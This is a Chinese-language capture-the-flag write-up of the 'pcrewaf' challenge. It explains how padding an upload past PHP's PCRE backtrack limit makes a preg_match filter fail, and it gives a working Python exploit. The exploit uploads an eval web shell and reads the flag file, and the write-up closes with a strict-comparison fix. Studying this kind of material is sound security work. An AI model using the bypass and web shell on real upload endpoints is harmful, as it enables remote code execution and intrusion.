代碼審計從入門到放棄(二) & pcrewaf

前言

繼續之前的2018 Code Breaking,這次是一道關於php回溯bypass正則的題目:pcrewaf

題目概述

題目源碼如下

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
    die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

題目源碼比較清晰,應該是一個上傳問題,我們依次解讀一下:
首先我們確定上傳目錄

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);

然後我們上傳的文件內容會被讀取

$data = file_get_contents($_FILES['file']['tmp_name']);

緊接着內容會進入正則進行匹配,以判斷我們上傳的文件內容裏是否有php代碼

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

如果帶有phg代碼,賊會打印bad request
若不帶有php代碼,則會將我們的文件進行保存

@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

然後在http返回頭裏給我們文件路徑

header("Location: $path", true, 303);
} 

那麼現在思路應該很清晰了:題目並沒有禁止我們上傳php文件,但是對文件內容進行了過濾,禁止我們寫入php代碼。
所以現在的思路應該就是:bypass正則

preg_match('/<\?.*[(`;?>].*/is', $data);

上傳php文件getshell

正則分析

當我們輸入一個正常的php文件內容時

<?php phpinfo(); ?>

我們可以看到正則的全部流程如下
首先正則開始尋找<
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-4dWlK9wQ-1584604974074)(/images/2019-03-05-15-55-33.png)]
找到<後,然後正則再開始尋找?
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-UE4w9Jrd-1584604974077)(/images/2019-03-05-15-55-43.png)]
找到<?後,正則開始匹配.*
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-b27n9uIW-1584604974081)(/images/2019-03-05-15-55-54.png)]
可以在step4中看到,正則因爲.*匹配上了<?後所有字符,但此時正則沒有結束,又開始繼續尋找

[(`;?>]

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Xk9oySLQ-1584604974087)(/images/2019-03-05-15-56-03.png)]
於是正則開始回溯,在末位找到>
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-aMcm2p1u-1584604974096)(/images/2019-03-05-15-56-20.png)]
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-9z8EHJVD-1584604974101)(/images/2019-03-05-15-56-31.png)]
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-SqGW96Jo-1584604974104)(/images/2019-03-05-15-57-26.png)]
所以這裏的正則大致意思可以明確爲,尋找<?開頭和

[(`;?>]

結尾的字符串。
那麼我們怎麼繞過呢?
一般情況下,我們會思考能否繞過php tags
例如

<?php
<%=
<%, %>
<script language="php">
<?=

那我們能否用

<%= phpinfo();

或者

<script language="php">phpinfo();</script>

來繞過過濾呢?
答案顯然是否定的,我們注意到題目的php版本號

< HTTP/1.1 200 OK
< Date: Tue, 05 Mar 2019 08:19:19 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.1.26
< Vary: Accept-Encoding
< Content-Length: 3965
< Content-Type: text/html; charset=utf-8

這裏是php7,我們觀察到官方手冊
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-F2a1QVds-1584604974106)(/images/2019-03-05-16-19-55.png)]
在php7中,這些tags都已經被移除,我們無法靠這個方式去bypass正則,那麼應該如何去解呢?

php正則回溯法

這裏要講到ph牛的一篇文章

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

個人感覺ph解析的非常到位,我這裏簡單概述一下
我們從上面的正則流程應該能看出一些端倪,在step3到step4的時候,正則匹配完整個字符串,但因爲正則沒有結束,所以從後往前開始回溯尋找

[(`;?>]

那麼有沒有可能我們讓他一直回溯,一直難以找到,直到我們達成正則表達式的拒絕服務攻擊(reDOS)呢?
我們不妨構造如下payload

<?php phpinfo(); //skyskyskyskyskyskyskyskysky........sky

(省略號代表n多sky)
這裏一直到step3都是和之前一樣,但從回溯開始就發生了變化:
首先我們結尾沒有用

[(`;?>]

所以正則需要不斷從後往前回溯,一直找到phpinfo()後的那個分號
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-6iiNJOSw-1584604974109)(/images/2019-03-05-16-24-50.png)]
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-2YfBDsUa-1584604974113)(/images/2019-03-05-16-25-08.png)]
我們可以看到正則匹配次數會隨我們的sky增長而增長。
這樣顯然是不行的,因爲我們的payload後的sky字符串可以無限延長,那麼正則匹配次數不可能達到那麼大的數值。所以它會不會有一個上限呢?
我們可以測試

➜  ~ php -a
Interactive shell

php > var_dump(ini_get('pcre.backtrack_limit'));
string(7) "1000000"

可以發現次數爲100萬次,那麼如果超過100萬次會怎麼樣呢?
我們繼續測試:
正常匹配成功情況下

php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo(); //aaa'));
int(1)

返回了1
正常匹配失敗情況下

php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '2333333'));
int(0)

回溯達到上限情況下

php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo();//'.str_repeat('a', 1000000)));
bool(false)

我們發現返回了false

漏洞點攻擊

既然我們發現達到回溯上限會返回false,我們再看一遍題目的正則

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if (is_php($data)) {
    echo "bad request";
} 

我們可以構造如下文本內容

<?php phpinfo();//'.str_repeat('a', 1000000)

這樣達到回溯上限後,is_php就會return false
那麼往下的if判斷中得到的結果就會爲

if(false)

我們自然就避開了過濾,達到了文件上傳的目的

payload編寫與getflag

import requests
from io import BytesIO

files = {
  'file': BytesIO('<?php eval($_REQUEST[sky]);//'+'a' * 1000000)
}

r = requests.post('http://106.14.114.127:22001/index.php', files=files, allow_redirects=False)
path = r.headers['Location']
url = 'http://106.14.114.127:22001/'+path
# print url
data = {
	# 'sky':"var_dump(scandir('../../../'));"
	'sky':"var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));"

}
r = requests.post(url=url,data=data)
print r.content

我們運行即可得到flag

➜  Desktop python sky.py
string(38) "flag{216728a834fb4c1e0bc6893e135f436e}"

修復方案

參照之前的測試,我們發現回溯失敗的時候返回是false,而正常情況是0或者1,所以這裏我們只要在if判斷時,使用===即可,如下

if (is_php($data) === 1) {
    echo "bad request";
} 

小結

不得不膜一下p神,爲許多正則Bypass提供了這麼多奇技淫巧,這一點和之前的\打頭的正則Bypass都能在日後測試中爲我們拓寬攻擊面。

實驗室相關實驗:
1、 滲透PHP代碼審計:
http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916230700001(學習PHP代碼審計的基礎知識,爲以後的工作奠定基礎)
2、 正則表達式:
http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014120311252200001(瞭解正則表達式,掌握sed和awk工具的使用)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章